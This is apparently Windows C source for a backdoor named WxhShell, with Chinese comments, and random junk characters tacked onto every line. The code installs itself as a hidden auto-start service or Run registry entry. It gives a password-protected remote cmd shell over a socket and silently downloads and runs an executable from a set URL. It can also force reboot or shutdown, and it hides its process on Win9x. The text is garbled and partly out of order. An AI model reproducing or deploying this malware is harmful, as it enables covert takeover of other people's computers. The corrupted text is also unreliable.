    closesocket(wsh); }I]j&\  
    ExitThread(0); d^F|lc ]8  
    } 2_;]  
    break; qib 7Z]j  
    } QsiJ%O Q  
  // 获取shell 6M ^IwE  
  case 's': { ao#!7F  
    CmdShell(wsh); t5.`! 3EO  
    closesocket(wsh); QR<`pmB~y  
    ExitThread(0); *AZ?~ i^o  
    break; d%0+i/p  
  } z[fB!O  
  // 退出 "EoDQT"0  
  case 'x': { v:KX9A.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2-++i:, g  
    CloseIt(wsh); 4j> fI)FUW  
    break; gQ37>  
    } b1u}fp GF  
  // 离开 ?d$"[lKX  
  case 'q': { W9Nmx3ve  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F|9+ +)  
    closesocket(wsh); 4qhWm"&CM  
    WSACleanup(); 6vto++  
    exit(1); bAf,aV/C&|  
    break; {<2>6 _z  
        } Py|;kF~![  
  } o(*F])d;  
  } ZK6Hvc0  
mO P4z'  
  // 提示信息 z8HsYf(!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @6 /yu>%  
} B0d%c&N${  
  } -4w%Iy  
G"T\=cQz  
  return; @%1IkvJV  
} ['cz;2{:W  
r}_lxr  
// shell模块句柄 %_MEfuL  
int CmdShell(SOCKET sock) F8<"AI  
{ 5t\HJ`C1Z  
STARTUPINFO si; 3JO]f5  
ZeroMemory(&si,sizeof(si)); 2*[QZ9U[@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w{!(r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lCJ6Ur;  
PROCESS_INFORMATION ProcessInfo; 0:"2MSf>  
char cmdline[]="cmd"; ,2L$G&?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;HNq>/{  
  return 0; \'Ssn(s  
} VfSj E.|  
bFY~oa%C  
// 自身启动模式 1@>$ Gcc  
int StartFromService(void) Y9Z]i$qS&k  
{ _ \D"E>oM  
typedef struct >oGiIYq  
{ :ofBzTNwZ  
  DWORD ExitStatus; N\NyXh$  
  DWORD PebBaseAddress; *27*>W1  
  DWORD AffinityMask; %Jp|z? [/  
  DWORD BasePriority; jq-l5})h  
  ULONG UniqueProcessId; xb:&(6\F  
  ULONG InheritedFromUniqueProcessId; r^0F"9eOL  
}   PROCESS_BASIC_INFORMATION; -MBV $:_R  
5'KA'>@  
PROCNTQSIP NtQueryInformationProcess; s@8w-]"  
-]srp;=i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ALc`t(..}A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XJ1=m   
,WD X(  
  HANDLE             hProcess; y7/F _{  
  PROCESS_BASIC_INFORMATION pbi; 6gH{ R$7L=  
%<0eA`F4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W$0^(FH[  
  if(NULL == hInst ) return 0; q{0R=jb  
{pL+2%`~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1oiRWRe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l +*&:Q/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U75Jp%bL  
? *>]")[>  
  if (!NtQueryInformationProcess) return 0; FAsFjRS  
~PnTaAPJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3]RyTQ  
  if(!hProcess) return 0; as*4UT3  
ZfrVjUB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H+E$:)gN  
bi[IqU!9  
  CloseHandle(hProcess); \xv;sl$f  
[F!Y%Zp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5 Xn.CBd]  
if(hProcess==NULL) return 0; vS\Nd1~?  
":a\z(*t  
HMODULE hMod; 9KWuN:Sg  
char procName[255]; ryB}b1`D  
unsigned long cbNeeded; Lk\P7w{  
1u3, '8F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;oZ)Wt  
7lV.[&aKW  
  CloseHandle(hProcess); 'k;rH !R  
|a1{ve[  
if(strstr(procName,"services")) return 1; // 以服务启动 H0m|1 7  
?;[w" `"  
  return 0; // 注册表启动 Gmwf4>"  
} Q></`QWpoB  
*Kdda} J+  
// 主模块 Xs: 3'ua  
int StartWxhshell(LPSTR lpCmdLine) Mmpfto%i  
{ }PTV] q%  
  SOCKET wsl; hxQqa 0B  
BOOL val=TRUE; q`-;AG|xF  
  int port=0; DL$@?.?I  
  struct sockaddr_in door; [!!Q,S"  
]a5 f2lE  
  if(wscfg.ws_autoins) Install(); ;)N>t\v  
pe^u$YE  
port=atoi(lpCmdLine); 9$2/MT't  
6DH~dL_",%  
if(port<=0) port=wscfg.ws_port; d3=KTTi\  
<HbcNE~  
  WSADATA data; CrwwU7qKL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?@E!u|]K  
g$b<1:8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j4qJ.i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xlQBe-Wg  
  door.sin_family = AF_INET; ~ 4kc/a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [VE8V-  
  door.sin_port = htons(port); s&RVJX>Rt  
J+`VujWT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PYGRsrcFd#  
closesocket(wsl); O#F4WWF  
return 1; =3L;Z[^9  
} G K7![p  
_H5o'>=  
  if(listen(wsl,2) == INVALID_SOCKET) { S:O O0<W  
closesocket(wsl); cXKjrL[b  
return 1; u:=7l  
} Ymg|4 %O@  
  Wxhshell(wsl); p>4-s, W  
  WSACleanup(); ; #&yn=^  
INJEsz  
return 0; E"5*Ei)^3  
>U[j]V]  
} Ru>MFG  
PK`D8)=u  
// 以NT服务方式启动 |&zz,+E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c9&xe"v  
{ ;IZwTXu!S  
DWORD   status = 0; fTK3,s1=  
  DWORD   specificError = 0xfffffff; 5fd]v<  
=,6z4" )  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^G}47(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @X#F3;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QC}CRkp  
  serviceStatus.dwWin32ExitCode     = 0; 8ap%?  
  serviceStatus.dwServiceSpecificExitCode = 0; {#@W)4)cA  
  serviceStatus.dwCheckPoint       = 0; xD~5UER  
  serviceStatus.dwWaitHint       = 0; |l]XpWV  
)QU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a6)BqlJ  
  if (hServiceStatusHandle==0) return; W *),y:  
b?tB(if!I  
status = GetLastError(); 9 a!$z!.  
  if (status!=NO_ERROR) jK& h~)  
{ Ws|j#X<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f Sa"%8%  
    serviceStatus.dwCheckPoint       = 0; #_^Lb]jkM  
    serviceStatus.dwWaitHint       = 0; E/|To  
    serviceStatus.dwWin32ExitCode     = status; V{/?FO?E  
    serviceStatus.dwServiceSpecificExitCode = specificError; RC7]'4o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3u*4o=4e  
    return; w"-Lc4t+  
  }  KY$)#i  
A>o *t=5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M_/7D|xl/T  
  serviceStatus.dwCheckPoint       = 0; Y 5- F@(  
  serviceStatus.dwWaitHint       = 0; (X\@t-8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P3+5?.p.  
} @tNzQ8  
$P^q!H4D  
// 处理NT服务事件,比如:启动、停止 Vc\MV0lr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ppN k:B  
{ ,Z&xNBX  
switch(fdwControl) R3gdLa.  
{ `{3<{wgw  
case SERVICE_CONTROL_STOP: K*K,}W&}  
  serviceStatus.dwWin32ExitCode = 0; 7)`nD<j 5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gY/"cq  
  serviceStatus.dwCheckPoint   = 0; tkeoNuAM  
  serviceStatus.dwWaitHint     = 0; I_} SB|  
  { qkDI](4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n' n/Tu   
  } {FeDvhv  
  return; y\4L{GlBM  
case SERVICE_CONTROL_PAUSE: +Vb.lH[av  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; il4^zj82  
  break; UZ\u;/}  
case SERVICE_CONTROL_CONTINUE: 5Dm.K?l;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4;e5H_}Oo  
  break; sJL&:!}V>  
case SERVICE_CONTROL_INTERROGATE: 81? hY4  
  break; FH?U(-  
}; 3% #3iZ=_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HVR /7&g  
} ElcjtYu4  
L iN$ pwm  
// 标准应用程序主函数 'f!8DGix  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V#2+"(7h  
{ W <9T0sZ  
SoW9p^HJ  
// 获取操作系统版本 Y2N>HK0  
OsIsNt=GetOsVer(); !Q2d(H>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W,V:R  
F~R;n_IJ  
  // 从命令行安装 Qp)v?k ]  
  if(strpbrk(lpCmdLine,"iI")) Install(); &FMc?wq  
u_w#gjiC  
  // 下载执行文件 l+xX/A)  
if(wscfg.ws_downexe) { "h{q#~s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !`Fxa4i>  
  WinExec(wscfg.ws_filenam,SW_HIDE); EU2$f  
} OcR$zlgs[v  
x|/|jzJSX  
if(!OsIsNt) { N({MPO9  
// 如果时win9x,隐藏进程并且设置为注册表启动 c,np2myd  
HideProc(); |HiE@  
StartWxhshell(lpCmdLine); BRw .]&/  
} 27eooY1  
else 5kc/Y/4o  
  if(StartFromService()) }^ApJS(FQ  
  // 以服务方式启动 ],@rS9K  
  StartServiceCtrlDispatcher(DispatchTable); ($q-_m  
else X&tF;<m^  
  // 普通方式启动 [^WC lRF  
  StartWxhshell(lpCmdLine); B~1 _28\  
>8~.wXyoC  
return 0; 5bRJS70M  
} wT6"U$cV  
LdYB7T,  
[g7L&`f9  
MU`1LHg  
=========================================== ]AINK UI0  
SL Ws*aq  
E-T)*`e  
KoOz#,()  
:i0uPh\0  
>~''&vdsk\  
" {BP{C=p  
OV1_|##LC  
#include <stdio.h> iFd+2S%  
#include <string.h> LK{*sHi$  
#include <windows.h> I,E?h?6Y  
#include <winsock2.h> *D'22TO[[!  
#include <winsvc.h> 4X!/hI=jq  
#include <urlmon.h> $.Qkb@}  
LoURC$lS  
#pragma comment (lib, "Ws2_32.lib") xsIY7Ss U  
#pragma comment (lib, "urlmon.lib") e),q0%5  
P}Gj %4/G  
#define MAX_USER   100 // 最大客户端连接数 dH;8mb|#'  
#define BUF_SOCK   200 // sock buffer ty8q11[8  
#define KEY_BUFF   255 // 输入 buffer 1auIR/=-  
sfpZc7  
#define REBOOT     0   // 重启 0CZ :Bo[3  
#define SHUTDOWN   1   // 关机 [8Y:65  
{0L1X6eg  
#define DEF_PORT   5000 // 监听端口 [@&m4 7  
i[O& )N,c  
#define REG_LEN     16   // 注册表键长度 PIJr{6B/PA  
#define SVC_LEN     80   // NT服务名长度 `{f}3bO7C  
@D]5civm_  
// 从dll定义API xipU8'ac/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E~DQ-z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S.mG?zbw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j@AIK+0Qc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DEBB()6,  
RF`.xQ26=  
// wxhshell配置信息 6O7'!@@  
struct WSCFG { 9>= ;FY  
  int ws_port;         // 监听端口 3$9s\<j  
  char ws_passstr[REG_LEN]; // 口令 |hKDvH  
  int ws_autoins;       // 安装标记, 1=yes 0=no "SNn^p59k  
  char ws_regname[REG_LEN]; // 注册表键名 [meO[otb  
  char ws_svcname[REG_LEN]; // 服务名 [T|aw1SoN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )!3V/`I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hXcyoZ8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #QS`_TlKk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OsTc5K.U~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +=>,Pto<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u]g%@3Pn  
a]$1D!Anc  
}; `vU%*g&R  
.H escg/S  
// default Wxhshell configuration  03L]  
struct WSCFG wscfg={DEF_PORT, b10cuy|a/X  
    "xuhuanlingzhe", ,bZL C  
    1, aE Bu *`-j  
    "Wxhshell", C+* d8_L  
    "Wxhshell", Yc`o5Q\>  
            "WxhShell Service", a Fl;BhM  
    "Wrsky Windows CmdShell Service", +UCG0D  
    "Please Input Your Password: ", <!&[4-;fU  
  1, g!|=%(G=  
  "http://www.wrsky.com/wxhshell.exe", ^8]NxV@l  
  "Wxhshell.exe" ?3/qz(bM  
    }; V"[g.%%Y  
t DO=P c  
// 消息定义模块 Ve8=b0&Y#j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ##q2mm:a9P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *-#&K\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %7QV&[4!  
char *msg_ws_ext="\n\rExit."; 'Y?"{HZ  
char *msg_ws_end="\n\rQuit."; UI0( =>L  
char *msg_ws_boot="\n\rReboot..."; .nO\kgoK  
char *msg_ws_poff="\n\rShutdown..."; <NHH^M\N  
char *msg_ws_down="\n\rSave to "; Vk` h2BV  
b k~( ^!R  
char *msg_ws_err="\n\rErr!"; af6M,{F  
char *msg_ws_ok="\n\rOK!"; 3_C|z,\:  
hl;u'_AB  
char ExeFile[MAX_PATH]; /hpY f]t  
int nUser = 0; M "ui0 ac  
HANDLE handles[MAX_USER]; bAdn &   
int OsIsNt; :Oy%a'w   
4M^= nae  
SERVICE_STATUS       serviceStatus; I"xo*}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uY0lR:|  
WEAT01  
// 函数声明 )"qa kT  
int Install(void); [.K1i ZyTi  
int Uninstall(void); Upx G@b  
int DownloadFile(char *sURL, SOCKET wsh); {0r0\D>bw  
int Boot(int flag); XYQ/^SI!:  
void HideProc(void); 9/9j+5}+  
int GetOsVer(void); V#v`(j%  
int Wxhshell(SOCKET wsl); ;:iY)}  
void TalkWithClient(void *cs); 1eA7>$w}[  
int CmdShell(SOCKET sock); P=qa::A  
int StartFromService(void);  Ii6<b6-  
int StartWxhshell(LPSTR lpCmdLine); G3t xj  
eFipIn)b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MlcR"gl*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nv$ R\'3  
FW.7'7G@n  
// 数据结构和表定义 GXcJ< v  
SERVICE_TABLE_ENTRY DispatchTable[] = \1d (9jR  
{ M\vwI"  
{wscfg.ws_svcname, NTServiceMain}, Y21g{$~Q{  
{NULL, NULL} Qd)q([  
}; Y2|#V#  
j 7fL7:,T  
// 自我安装 eP.wOl  
int Install(void) `CBZhI%%  
{ dA#Q}.*r  
  char svExeFile[MAX_PATH]; p5Z"|\  
  HKEY key; ``V" D  
  strcpy(svExeFile,ExeFile); `-.%^eIp  
vGvf<ra;H  
// 如果是win9x系统,修改注册表设为自启动 S O4u9V  
if(!OsIsNt) { I?]ohG K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ac96 [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '>NCMB{*  
  RegCloseKey(key); v5/~-uRL%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Uj=^leYO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d+<G1w&z  
  RegCloseKey(key); :uP,f<=)K  
  return 0; 8G9s<N}5&u  
    } .RE:;<|w  
  } 5:\},n+VE  
} 1!ii;s^e  
else { *7:>EP  
j@=%_^:i  
// 如果是NT以上系统,安装为系统服务 PZ2;v<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UXeN8  
if (schSCManager!=0) d<% z 1Dj2  
{ yu;+o3WlK  
  SC_HANDLE schService = CreateService bG7O  
  ( oin$-i|Xp!  
  schSCManager, I*%-cA%l  
  wscfg.ws_svcname, k;2GEa]w  
  wscfg.ws_svcdisp, bT\1>  
  SERVICE_ALL_ACCESS, ccB&O _  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M.Y~1c4f  
  SERVICE_AUTO_START, ;>#wU'  
  SERVICE_ERROR_NORMAL, RtGWG*v4]  
  svExeFile, 4Z1ST;  
  NULL, uYn_? G  
  NULL, hwu]Er.gn  
  NULL, }]e-{C}  
  NULL, V E#Wb7  
  NULL Vdtry @Q  
  ); lAi6sPG)0  
  if (schService!=0) ! _f9NK  
  { U(a#@K !H  
  CloseServiceHandle(schService); ?u-|>N>  
  CloseServiceHandle(schSCManager); C+'/>=>a.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'r4/e-`pK  
  strcat(svExeFile,wscfg.ws_svcname); Mx&&0#;r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tU4s'J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n\QgOSr<  
  RegCloseKey(key); ~kQA7;`j$  
  return 0; .}^g!jm~h  
    } MTsM]o  
  } Uhe=h&e2k@  
  CloseServiceHandle(schSCManager); ?!;7:VIE  
} j!_;1++q  
} +s(HOq)b  
gMY1ts}Z  
return 1; ,.rs(5.z8/  
} ?6yjy<D)$e  
B{|8#jqY  
// 自我卸载 3_txg>P"  
int Uninstall(void) $AfM>+GQ`n  
{ 1|RANy  
  HKEY key; ?>hPO73{  
@*OZx9  
if(!OsIsNt) { K&bzDzd`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~T9/#-e>BF  
  RegDeleteValue(key,wscfg.ws_regname); U[SaY0Z  
  RegCloseKey(key); _I:~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }x@2]juJ  
  RegDeleteValue(key,wscfg.ws_regname); {/"2Vk<H8  
  RegCloseKey(key); (}a8"]Z  
  return 0; {kp"nl$<  
  } SNfr"2c'h~  
} |s"nM<ZNZ  
} *i]=f6G  
else { 9  TvV=  
"^4_@ oo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k,'L}SK  
if (schSCManager!=0) |?rNy=P,  
{ Du`JaJI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KB%"bqB|  
  if (schService!=0) H18Tn!RDS  
  { yOphx07 (  
  if(DeleteService(schService)!=0) { >xF/Pl  
  CloseServiceHandle(schService); k40* e\  
  CloseServiceHandle(schSCManager); |K6REkzr  
  return 0; AmaT0tzJC  
  } whpfJNz  
  CloseServiceHandle(schService); s>0't  
  } 3^R&:|,  
  CloseServiceHandle(schSCManager); }!;s.[y  
} ,8:(OB|a  
} V^JV4 `o  
2@9Tfm(=  
return 1; ~KW,kyXBnD  
} Av"R[)  
hCCiD9gz  
// 从指定url下载文件 qR(\5}  
int DownloadFile(char *sURL, SOCKET wsh) My<snmr2d  
{ k *Q<3@S  
  HRESULT hr; T? tG~  
char seps[]= "/"; w9NHk~LHKF  
char *token; |p><'Q% *  
char *file; ? i( %  
char myURL[MAX_PATH]; 0(mkeIzJt/  
char myFILE[MAX_PATH]; q8^^H$<Db  
V\u>"3BQw  
strcpy(myURL,sURL); X=hYB}}nu  
  token=strtok(myURL,seps); %%NlTE8*  
  while(token!=NULL) J13>i7]L%  
  { +)j$|x~(A  
    file=token; >iD )eB  
  token=strtok(NULL,seps); _acE:H  
  } *8#i$w11M  
p /#$io  
GetCurrentDirectory(MAX_PATH,myFILE); _h X]%  
strcat(myFILE, "\\"); Z0o~+Ct$  
strcat(myFILE, file); 4T!+D  
  send(wsh,myFILE,strlen(myFILE),0); U7oo$gW%|T  
send(wsh,"...",3,0); U}MXT <6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }"=AG  
  if(hr==S_OK) TYJ:!  
return 0; LXEfPLS  
else /RHo1  
return 1; } w 5l  
s}jHl8  
} <FWF<r3F  
O9EKRt  
// 系统电源模块 0TGLM#{  
int Boot(int flag) L5#P[cHzz  
{ J(c{y]`J  
  HANDLE hToken; 1E73i_L  
  TOKEN_PRIVILEGES tkp; J.ck~;3  
t?9v^vFR  
  if(OsIsNt) { e'0{?B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4eikLRD,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &4b&X0pU  
    tkp.PrivilegeCount = 1;  ))&;}2{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zipS ]YD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _io+YzS  
if(flag==REBOOT) { l-ct?T_@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o(S{VGi,  
  return 0; M#~Cc~oT  
} )('%R|$ /  
else { agjv{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ^}:#  
  return 0; =li|  
} M-[ $L XR  
  } iVd.f A  
  else { DwrO JIy  
if(flag==REBOOT) { rk7QZVE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L+CyQq  
  return 0; | fSe>uVZ  
} 7vABq(  
else { /\H>y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P&b19K'  
  return 0; 'JNElXqrv  
} f-5:wM&  
} Sp}tD<V  
g_G6~-.9I  
return 1; ^_ kJKM,  
} #/I[Jqf  
Sr%;fq  
// win9x进程隐藏模块 t`+'r}=d  
void HideProc(void) \[jq4`\$  
{ 5!EJxP9  
6e _dJ=_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {; .T7dL  
  if ( hKernel != NULL ) V^\8BVw  
  { 4E+hRKuo,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^`G`phd$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rtL}W__  
    FreeLibrary(hKernel); wbe<'/X+  
  } dlG=Vq&Y  
kdn'6>\  
return; 6<$Odd  
} 8 O67  
!w H'b  
// 获取操作系统版本 fm^@i;D  
int GetOsVer(void) Bf$_XG3  
{ cZ<A0  
  OSVERSIONINFO winfo; /__PSK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |U_]vMq  
  GetVersionEx(&winfo); =L C:SFzF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P0$e~=Q^4  
  return 1; #rY sj-2  
  else =&},;VOh  
  return 0; QjC22lW-  
} !H2QjW  
[xT:]Pw}  
// 客户端句柄模块 l/Vo-#  
int Wxhshell(SOCKET wsl) 0d3+0EN{  
{ \'M3|w`f  
  SOCKET wsh; .cR -V`  
  struct sockaddr_in client; efD)S92  
  DWORD myID; \tRG1&{$%  
}=v)Js  
  while(nUser<MAX_USER) sg8/#_S1i  
{ 4&HXkRs:  
  int nSize=sizeof(client); >/#KI~}'N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3mSXWl^?  
  if(wsh==INVALID_SOCKET) return 1; NBF MN%  
$ -c!W!H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vf`7V$sr  
if(handles[nUser]==0) FVKW9"AyW  
  closesocket(wsh); [j"9rO" +  
else m] W5+  
  nUser++; k64."*X  
  } dV Q-k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NWd<+-pC6  
kEO7PK/  
  return 0; )~V4+*<  
} suH&jE$x  
Pub0IIs  
// 关闭 socket {,cCEXag%  
void CloseIt(SOCKET wsh) = 0- $W5E  
{ < F )_!0C  
closesocket(wsh); 9z I.pv+]  
nUser--; QaGlR`Y  
ExitThread(0); Lw'9  
} \j2;4O?`  
O}[PJfvBHo  
// 客户端请求句柄 v?c 0[+?  
void TalkWithClient(void *cs) &vovA} F  
{ +p8BGNW,  
c>1RP5vx  
  SOCKET wsh=(SOCKET)cs; F3oQ^;xB  
  char pwd[SVC_LEN]; f/kI| Z  
  char cmd[KEY_BUFF]; azP+GM=i7  
char chr[1]; cE iu)2*e  
int i,j; &/A 8-:m  
~Z ~v  
  while (nUser < MAX_USER) { =H8 xSJLh  
=&dW(uyzY  
if(wscfg.ws_passstr) { J4=_w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $DBGLmw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T<-=nX  
  //ZeroMemory(pwd,KEY_BUFF); \#'TNmS  
      i=0; IkzTJ%>  
  while(i<SVC_LEN) { *[eL~oN.c  
dV?5Q_}  
  // 设置超时 |KYEK|  
  fd_set FdRead; O|cu.u|  
  struct timeval TimeOut; rC_*sx r^  
  FD_ZERO(&FdRead); qpJ{2Q  
  FD_SET(wsh,&FdRead); q EUT90  
  TimeOut.tv_sec=8; rg_Q"g  
  TimeOut.tv_usec=0;  qW_u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %b?$@H-Re  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HftxS  
nsb4S {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #(LfYw.P1V  
  pwd=chr[0]; Q 6C-4ja  
  if(chr[0]==0xd || chr[0]==0xa) { ?yXAu0  
  pwd=0; Lh$dzHq  
  break; (IbW; bV  
  } d h^^G^  
  i++; uk`8X`'  
    } +~sd"v6  
W</n=D<,I  
  // 如果是非法用户,关闭 socket n uQM^2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mT*{-n_Zs  
} ']o od!  
02JL*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3b[jwCt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *B)yy[8j+  
Lb=W;9;  
while(1) { smAC,-6 ]~  
FdOFE.l  
  ZeroMemory(cmd,KEY_BUFF); R@T6U:1  
J?:[$C5  
      // 自动支持客户端 telnet标准   s]B"qF A  
  j=0; !$XHQLqF2  
  while(j<KEY_BUFF) { ET^|z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x4a:PuqmGG  
  cmd[j]=chr[0]; K% KZO`gO  
  if(chr[0]==0xa || chr[0]==0xd) { VU!w!GN]Y  
  cmd[j]=0; (d2@Mz  
  break; _.18z+  
  } ;@4H5p  
  j++; w3*-^: ?j  
    } D>T],3U(H  
YwT-T,oD  
  // 下载文件 \94jrr  
  if(strstr(cmd,"http://")) { )+O r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2C+(":=}  
  if(DownloadFile(cmd,wsh)) @O3/3vi1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uf)Oy7FQ  
  else :9d\Uj,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f_r0})  
  } udqge?Tz  
  else { )GB`*M[   
+/'<z  
    switch(cmd[0]) { (7q^FtjA#  
  -]"T^w ib  
  // 帮助 6517Km 4-  
  case '?': { o$bUY7_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }~enEZ  
    break; KXBL eR&^  
  } w{7 ji}  
  // 安装 8cr NOZS6  
